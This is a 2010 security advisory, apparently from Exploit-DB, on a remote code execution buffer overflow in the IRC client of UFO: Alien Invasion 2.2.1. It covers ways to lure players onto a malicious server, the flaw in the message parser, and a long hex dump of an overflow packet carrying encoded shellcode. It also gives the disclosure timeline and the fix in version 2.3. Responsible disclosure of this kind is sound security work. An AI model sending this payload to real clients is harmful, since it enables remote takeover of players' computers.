UFO: Alien Invasion 2.2.1 - Arbitrary Code Execution

EDB-ID:

14013

CVE:

EDB Verified: ✓

Author:

JASON GEFFNER

Type:

REMOTE

Exploit: / {}

```
Remote Arbitrary Code Execution Vulnerability in UFO: Alien Invasion
-----------------------------------------------------------------------

June 18th, 2010

=======
Summary
=======
Name: Remote Arbitrary Code Execution Vulnerability in UFO: Alien Invasion
Release Date: June 18th, 2010
Discoverer: Jason Geffner
Version Affected: UFO: Alien Invasion 2.2.1
                  (version previous to UFO: Alien Invasion 2.2.1 not tested)
Risk: Very High
Status: Published

============
Introduction
============
This paper discusses how an unprivileged remote attacker can execute
arbitrary
code on networked players' computers. This vulnerability was responsibly
```



```
Timeline
========
04/29/08 UFO: Alien Invasion 2.2.1 released
10/28/09 Remote arbitrary code execution vulnerability discovered in UFO:
Alien
        Invasion 2.2.1
10/31/09 Detailed vulnerability report responsibly disclosed to the UFO:
Alien
        Invasion project leader
11/02/09 Fix checked into source code trunk
06/18/10 Stable build of UFO: Alien Invasion 2.3 released, fixing
vulnerability
06/18/10 Advisory released

=============
Vulnerability
=============
The IRC client component of UFO: Alien Invasion 2.2.1 contains multiple
security vulnerabilities that allow a malicious IRC server to remotely
execute
arbitrary code on the client's system. There are numerous ways that an
attacker
could cause a player to connect to a malicious server, for example:
```

```
- Perform a man-in-the-middle attack to inject IRC server responses into
the
 TCP stream.
- Use DNS poisoning to redirect the player's client from the real
 irc.freenode.org server to the attacker's malicious server.
- Use the in-game "rcon" functionality against a server to remotely issue
the
 command "irc_connect <attacker's server>" (passwords for rcon can be
 brute-forced and/or sniffed over the network since they're sent in
 plaintext).
- Use social engineering to convince a player to press ~ and type
"irc_connect
 <attacker's server>".

There are numerous buffer overflow vulnerabilities that can be exploited in
the
IRC client component. The following vulnerability can be exploited in a
single
packet:

The Irc_Proto_ParseServerMsg(...) function parses server messages of up to
1024
bytes in length and writes to an irc_server_msg_t structure. This
```



```
AAAAAAAAAAAAAAAA
00000040:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000050:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000060:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000070:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000080:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000090:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000a0:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000b0:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000c0:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000d0:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000e0:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000000f0:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
```

```
00000100:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000110:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000120:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000130:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000140:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000150:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000160:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000170:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000180:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
00000190:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
000001a0:  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
```



```
00000260:  9e 79 34 cf 90 47 7c b4 76 da bf e4 ca 74 af a5
.y4..G|.v....t..
00000270:  77 b9 8e 84 71 94 73 d7 e1 fd d1 95 3d 34 bf 84
w...q.s.....=4..
00000280:  66 fd c3 fd 33 b6 f7 cf b7 a6 d3 0e fe 6e 08 dd
f...3........n..
00000290:  96 77 50 66 8a 3f 08 b1 3d 77 55 b4 49 47 43 29
.wPf.?..=wU.IGC)
000002a0:  77 b9 8e 84 71 4e 63 f0 42 75 fe 7d 8d 0b a7 f0
w...qNc.Bu.}....
000002b0:  54 2e 08 dd 92 77 50 e3 3d 7a c8 0e ee 6a 82 56
T....wP.=z...j.V
000002c0:  3d 72 08 84 66 ff c7 a1 92 2d d8 e4 ef 2c d2 7a
=r..f....-...,.z
000002d0:  56 2e dc df 3d 64 68 03 eb 1c 82 08 33 cf 83 85
V...=dh.....3...
000002e0:  b6 26 eb b4 3d 19 04 7a 63 cd 73 30 14 20 eb 23    .&..=..zc.s0.
.#
000002f0:  23 cb 1e 7a 63 4a 85 f9 bc f6 78 65 c3 73 38 c2
#..zcJ....xe.s8.
00000300:  a5 04 ec ef b6 25 7c 50 db 05 f3 e4 df 18 f7 ab
.....%|P........
00000310:  d3 0e e6 85 b6 0d 0a                              .......
```

```
==========
Conclusion
==========
Safe string handling functions should be used instead of their standard CRT
equivalents or inlined string copies.

===============
Fix Information
===============
This issue has now been resolved. UFO: Alien Invasion 2.3 can be downloaded
from http://ufoai.ninex.info/wiki/index.php/Download

==========
References
==========
[1] http://en.wikipedia.org/wiki/UFO:_Alien_Invasion

NGSSoftware Insight Security Research
http://www.ngssoftware.com/
http://www.databasesecurity.com/
http://www.nextgenss.com/
+44(0)208 401 0070
```